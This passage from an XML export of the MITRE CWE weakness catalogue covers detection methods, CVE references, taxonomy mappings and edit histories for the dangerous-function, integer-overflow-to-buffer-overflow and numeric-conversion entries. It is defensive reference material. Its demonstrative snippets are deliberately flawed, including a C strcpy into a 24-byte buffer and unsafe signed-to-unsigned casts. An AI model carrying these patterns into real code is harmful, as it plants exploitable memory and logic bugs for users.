                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode Quality Analysis</xhtml:li>
                           <xhtml:li>Binary / Bytecode simple extractor - strings, ELF readers, etc.</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Debugger</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Warning Flags</xhtml:li>
                           <xhtml:li>Source Code Quality Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Origin Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Phase>Implementation</Phase>
               <Description>Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-6">
               <Intro_Text>The following code attempts to create a local copy of a buffer to perform some manipulations to the data.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void manipulate_string(char * string){<xhtml:div style="margin-left:1em;">char buf[24];<xhtml:br/>strcpy(buf, string);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-1470</Reference>
               <Description>Library has multiple buffer overflows using sprintf() and strcpy()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1470</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3849</Reference>
               <Description>Buffer overflow using strcat()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3849</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2114</Reference>
               <Description>Buffer overflow using strcpy()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2114</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-0963</Reference>
               <Description>Buffer overflow using strcpy()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-0963</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0712</Reference>
               <Description>Vulnerable use of strcpy() changed to use safer strlcpy()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0712</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5005</Reference>
               <Description>Buffer overflow using strcpy()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5005</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Dangerous Functions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON33-C</Entry_ID>
               <Entry_Name>Avoid race conditions when using library functions</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV33-C</Entry_ID>
               <Entry_Name>Do not call system()</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR07-C</Entry_ID>
               <Entry_Name>Prefer functions that support error checking over equivalent functions that don't</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR34-C</Entry_ID>
               <Entry_Name>Detect errors when converting a string to a number</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO01-C</Entry_ID>
               <Entry_Name>Be careful using functions that use file names for identification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC30-C</Entry_ID>
               <Entry_Name>Do not use the rand() function for generating pseudorandom numbers</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-554"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Safe String Handling&#34; Page 156, 160"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;C String Handling&#34;, Page 388"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Other_Notes, References, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="680" Name="Integer Overflow to Buffer Overflow" Abstraction="Compound" Structure="Chain" Status="Draft">
         <Description>The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="StartsWith" CWE_ID="190" View_ID="709" Chain_ID="680"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2017-1000121</Reference>
               <Description>chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-1000121</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT30-C</Entry_ID>
               <Entry_Name>Ensure that unsigned integer operations do not wrap</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT32-C</Entry_ID>
               <Entry_Name>Ensure that operations on signed integers do not result in overflow</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM35-C</Entry_ID>
               <Entry_Name>Allocate sufficient memory for an object</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="100"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="67"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Observed_Examples, Relationships, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="681" Name="Incorrect Conversion between Numeric Types" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="704" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="704" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="682" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Quality Degradation</Impact>
               <Note>The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid making conversion between numeric types. Always check for the allowed ranges.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>int i = (int) 33457.8f;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code adds a float and an integer together, casting the result to an integer.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$floatVal = 1.8345;<xhtml:br/>$intVal = 3;<xhtml:br/>$result = (int)$floatVal + $intVal;</xhtml:div>
               </Example_Code>
               <Body_Text>Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-73">
               <Intro_Text>In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned int readdata () {<xhtml:div style="margin-left:1em;">int amount = 0;<xhtml:br/>...<xhtml:br/>if (result == ERROR)<xhtml:br/>amount = -1;<xhtml:br/>...<xhtml:br/>return amount;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-74">
               <Intro_Text>In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned int readdata () {<xhtml:div style="margin-left:1em;">int amount = 0;<xhtml:br/>...<xhtml:br/>amount = accessmainframe();<xhtml:br/>...<xhtml:br/>return amount;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-4268</Reference>
               <Description>Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4268</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4988</Reference>
               <Description>Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4988</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0231</Reference>
               <Description>Integer truncation of length value leads to heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0231</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3282</Reference>
               <Description>Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3282</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FLP34-C</Entry_ID>
               <Entry_Name>Ensure that floating point conversions are within range of the new type</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT15-C</Entry_ID>
               <Entry_Name>Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT31-C</Entry_ID>
               <Entry_Name>Ensure that integer conversions do not result in lost or misinterpreted data</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT35-C</Entry_ID>
               <Entry_Name>Evaluate integer expressions in a larger size before comparing or assigning to that size</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>NUM12-J</Entry_ID>
               <Entry_Name>Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-681</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-681"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2008-04-11</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Observed_Examples, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
